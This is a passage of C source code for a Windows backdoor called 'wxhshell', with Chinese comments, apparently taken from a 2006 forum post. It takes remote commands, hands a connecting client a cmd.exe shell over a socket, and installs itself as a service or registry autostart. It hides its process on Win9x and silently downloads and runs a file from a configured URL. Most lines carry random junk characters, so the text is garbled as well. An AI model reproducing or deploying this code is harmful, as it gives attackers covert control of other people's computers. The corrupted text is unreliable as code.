  case '?': { )e{aN+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hka2  
    break; 5O% {{J  
  } I,tud!p`  
  // 安装 { FkF  
  case 'i': { iTwm3V P  
    if(Install()) ;pAK_>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GOPfXtkC  
    else ;p//QJB9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _)8s'MjA:&  
    break; jp,4h4C^)  
    } K0~rN.C!0  
  // 卸载 9w"*y#_  
  case 'r': { DQ3<$0  
    if(Uninstall()) dN q$}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h{Y",7] !  
    else D7Z /H'|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L0,'mS  
    break; 2G7Wi!J  
    } &d!GImcxQ  
  // 显示 wxhshell 所在路径 >Tgv11[  
  case 'p': { ll^#JpT[S  
    char svExeFile[MAX_PATH]; <I?Zk80  
    strcpy(svExeFile,"\n\r"); -RwE%  cr  
      strcat(svExeFile,ExeFile); fC`&g~yK'  
        send(wsh,svExeFile,strlen(svExeFile),0); c{|p.hd  
    break; dV_G1'  
    } ]^E?;1$f?  
  // 重启 _>+Ld6.T6  
  case 'b': { lxx2H1([  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .#gzP2 [q  
    if(Boot(REBOOT)) MtdG>TzUn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^q5#ihM  
    else { XS#Qu=,-  
    closesocket(wsh); Hl"N}   
    ExitThread(0); #mdc[.  
    } u 9e@a9c  
    break; K+eM   
    } [n@] r2g)3  
  // 关机 u`W2 +S  
  case 'd': { SUiOJ[5,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >:-$+I  
    if(Boot(SHUTDOWN)) (`^1Y3&2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04ui`-c(  
    else { }2jn[${ pr  
    closesocket(wsh); @d'j zs  
    ExitThread(0); H_a[)DT  
    } zhQJy?>'m  
    break; 7!1S)dup  
    }  B,@i  
  // 获取shell (PL UFT  
  case 's': { m O_af  
    CmdShell(wsh); 2/?|&[  
    closesocket(wsh); kiEa<-]  
    ExitThread(0); w )f#V s  
    break; N2G{<>=  
  } 5pX6t  
  // 退出 6nn *]|7  
  case 'x': { itz,m r P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &C}*w2]0S  
    CloseIt(wsh); =_CzH(=f#  
    break; "oyo#-5z  
    } }BEB1Q}L  
  // 离开 _a, s )  
  case 'q': { \bXa&Lq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =;L|gtH"  
    closesocket(wsh); vx =&QavL  
    WSACleanup(); #!=tDc &  
    exit(1); VbYdZCC  
    break; )%TmAaj9d  
        } }f ?y* H  
  } mH(:?_KrS-  
  } zLQx%Yg!  
}MySaL>  
  // 提示信息 >*bvw~y,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ".%k6W<n  
} g)-te+?6  
  } 5P bW[  
PCA4k.,T  
  return; 3]hWfj1m2  
} :FF=a3/"6  
?6!LL5a.  
// shell模块句柄 P}iE+Z 3  
int CmdShell(SOCKET sock) 8ag!K*\ V<  
{ [E_9V%^  
STARTUPINFO si; lE;!TQj:X  
ZeroMemory(&si,sizeof(si)); bA 2pbjg=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Qe0! (_=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z+SRXKQ  
PROCESS_INFORMATION ProcessInfo; \U0Q<ot/7  
char cmdline[]="cmd"; BtZyn7a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l (o~-i\M  
  return 0; _1^'(5f$  
} y_,bu^+*  
YSMAd-Ef-  
// 自身启动模式 [[ZJ]^n,  
int StartFromService(void) )7@0[>  
{ )oZ dj`  
typedef struct "@kaHIf[  
{ f$( e\+ +  
  DWORD ExitStatus; 6!o1XQr=Z  
  DWORD PebBaseAddress; hTkyz la  
  DWORD AffinityMask; jPeYmv]  
  DWORD BasePriority; <@}9Bid!o  
  ULONG UniqueProcessId; al0L&z\  
  ULONG InheritedFromUniqueProcessId; XW9!p.*.U  
}   PROCESS_BASIC_INFORMATION;  _F{C\}  
~&O%N  
PROCNTQSIP NtQueryInformationProcess; reVgqYp{{-  
PF2nLb2-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G$PE}%X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k)u[0}   
=Qq+4F)MD  
  HANDLE             hProcess; [aS*%Heu  
  PROCESS_BASIC_INFORMATION pbi; |ZBw<f  
*:1ey{w:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y(Td/rY.  
  if(NULL == hInst ) return 0; 9uY'E'm*  
<3iMRe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0(I j%Wi,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $'TM0Yu,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J,G lIv.A  
)0MB9RMk1  
  if (!NtQueryInformationProcess) return 0; \v{=gK  
V~bD)?M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X]=t>   
  if(!hProcess) return 0; ;<5q]/IHK  
R]dg_Da  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d-m7 }2c  
l:%GH  
  CloseHandle(hProcess); 0YzpZW"+  
V)^+?B)T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +p^u^a  
if(hProcess==NULL) return 0; neh(<>  
"b[5]Y{ U  
HMODULE hMod; l, wp4 Ll  
char procName[255]; 5f/`Q   
unsigned long cbNeeded; 5xde;  
l0] EX>"E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4 :=]<sc,  
DlT{`  
  CloseHandle(hProcess); 2:R+tn(F  
|}1dFp  
if(strstr(procName,"services")) return 1; // 以服务启动 hph4`{T  
h![#;>(  
  return 0; // 注册表启动 Jwp7gYZ  
} M2|is ~  
CARzO7 b\w  
// 主模块 *=n:-  
int StartWxhshell(LPSTR lpCmdLine) l~.-e^p?  
{ JRFtsio*  
  SOCKET wsl; +V+a4lU14  
BOOL val=TRUE; /=h` L ,  
  int port=0; p'fYULYE  
  struct sockaddr_in door; {$r[5%L\H  
5IN(|B0  
  if(wscfg.ws_autoins) Install(); F?cK- .  
iLz@5Zj8  
port=atoi(lpCmdLine); vy/-wP|1  
]9X DS[<2`  
if(port<=0) port=wscfg.ws_port; SaCh 7 ^  
:EH=_"  
  WSADATA data; /bEAK-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "j-CZ\]U|  
r/sNrB1U"y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U&xUfBDt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H-%v3d>3  
  door.sin_family = AF_INET; q=G+Tocv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G`zm@QL  
  door.sin_port = htons(port); .2pK.$.  
2%> FR4a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j9,P/K$:w  
closesocket(wsl); K#xv u1U  
return 1; 6#yUc_5 \  
} j4b4!^fV  
AEuG v}#  
  if(listen(wsl,2) == INVALID_SOCKET) { Y~Ifj,\  
closesocket(wsl); IAEAhqp  
return 1; nie%eC&U  
} Wf<LR3  
  Wxhshell(wsl); *dF>_F  
  WSACleanup(); |'.  
&?vgP!d&M  
return 0; kl,3IKHa  
s7EinI{^  
} L(o15  
e*!kZAf  
// 以NT服务方式启动 V,9cl,z+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3[&Cg  
{ .G^YqJ 4  
DWORD   status = 0; h1{3njdr  
  DWORD   specificError = 0xfffffff; ~v83pu1!2s  
kR9-8I{J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qa6,z.mQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jl<2>@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lLD12d  
  serviceStatus.dwWin32ExitCode     = 0; Z= !*e~j@  
  serviceStatus.dwServiceSpecificExitCode = 0; a: S -  
  serviceStatus.dwCheckPoint       = 0; V$~9]*Wn  
  serviceStatus.dwWaitHint       = 0; 3~ \[7I/  
d\Zng!Z'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vI]N^j2%  
  if (hServiceStatusHandle==0) return; dTtSUA|V7"  
(ik\|y% A  
status = GetLastError(); >j`qh:^  
  if (status!=NO_ERROR) s <Fl p  
{ Kg$ Mx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `W-Fssu  
    serviceStatus.dwCheckPoint       = 0; G\?YK.Y>  
    serviceStatus.dwWaitHint       = 0; Z6pUZ[j,  
    serviceStatus.dwWin32ExitCode     = status; Bj~+WwD)QR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8Eq7Sa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|D.6^  
    return; +"6`q;p3)  
  } l(q ,<[O  
nOz.G"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;6 wA"  
  serviceStatus.dwCheckPoint       = 0; qw8Rlws%  
  serviceStatus.dwWaitHint       = 0; n(|^SH4$b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %IRi1EmN8  
} o]:9')5^  
\L\b$4$d  
// 处理NT服务事件,比如:启动、停止 0RK!/:'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LK"69Qx?5q  
{ C $JmzrE  
switch(fdwControl) )ANmIwmC#  
{ [9 RR8  
case SERVICE_CONTROL_STOP: EZj9wd"u  
  serviceStatus.dwWin32ExitCode = 0; 3Y~>qGQwh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f {"?%Ku#  
  serviceStatus.dwCheckPoint   = 0; 0L KRN|@  
  serviceStatus.dwWaitHint     = 0; s0_nLbWwO  
  { aA TA9V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9E tz[`|  
  } -]=@s  
  return; ((I%'   
case SERVICE_CONTROL_PAUSE: N!|wo:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2Gdd*=4z  
  break; n}V_,:Z  
case SERVICE_CONTROL_CONTINUE: `KQvJjA6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4H-'Dr=G  
  break; rt| 7h>RQ  
case SERVICE_CONTROL_INTERROGATE: ^KELKv,_  
  break; &w~d_</  
}; FE{FGM q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,=:D   
} h*Pc=/p  
&f;K}W O  
// 标准应用程序主函数 5^KWCS7@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #V}IvQl|  
{ p^u:&Quac  
4g7)iL^#~  
// 获取操作系统版本 Y#3c }qb  
OsIsNt=GetOsVer(); ,u g@f-T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AFfAtu  
0AV c  
  // 从命令行安装 \_U$"/$4VH  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z: 7fV5b(  
p6WX9\qS(  
  // 下载执行文件 6i*sm.SDw  
if(wscfg.ws_downexe) { 4,0{7MLgK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;Q&5,< N)j  
  WinExec(wscfg.ws_filenam,SW_HIDE); h65-s  
} XS BA$y  
uOGw9O-d9  
if(!OsIsNt) { kM@zyDn,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rx|;=-8zg  
HideProc(); (@}!0[[^  
StartWxhshell(lpCmdLine); V#}kwON  
} Pc o'l#:  
else v6Vcjm  
  if(StartFromService()) v]c6R-U  
  // 以服务方式启动 $lu t[o74  
  StartServiceCtrlDispatcher(DispatchTable); n\.Vqe  
else LYg- .~<I  
  // 普通方式启动 HX{`Vah E  
  StartWxhshell(lpCmdLine); t!\tF[9e  
XF_pN[}  
return 0; lUiL\~Gq  
}
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只看该作者 1 发表于: 2006-10-10
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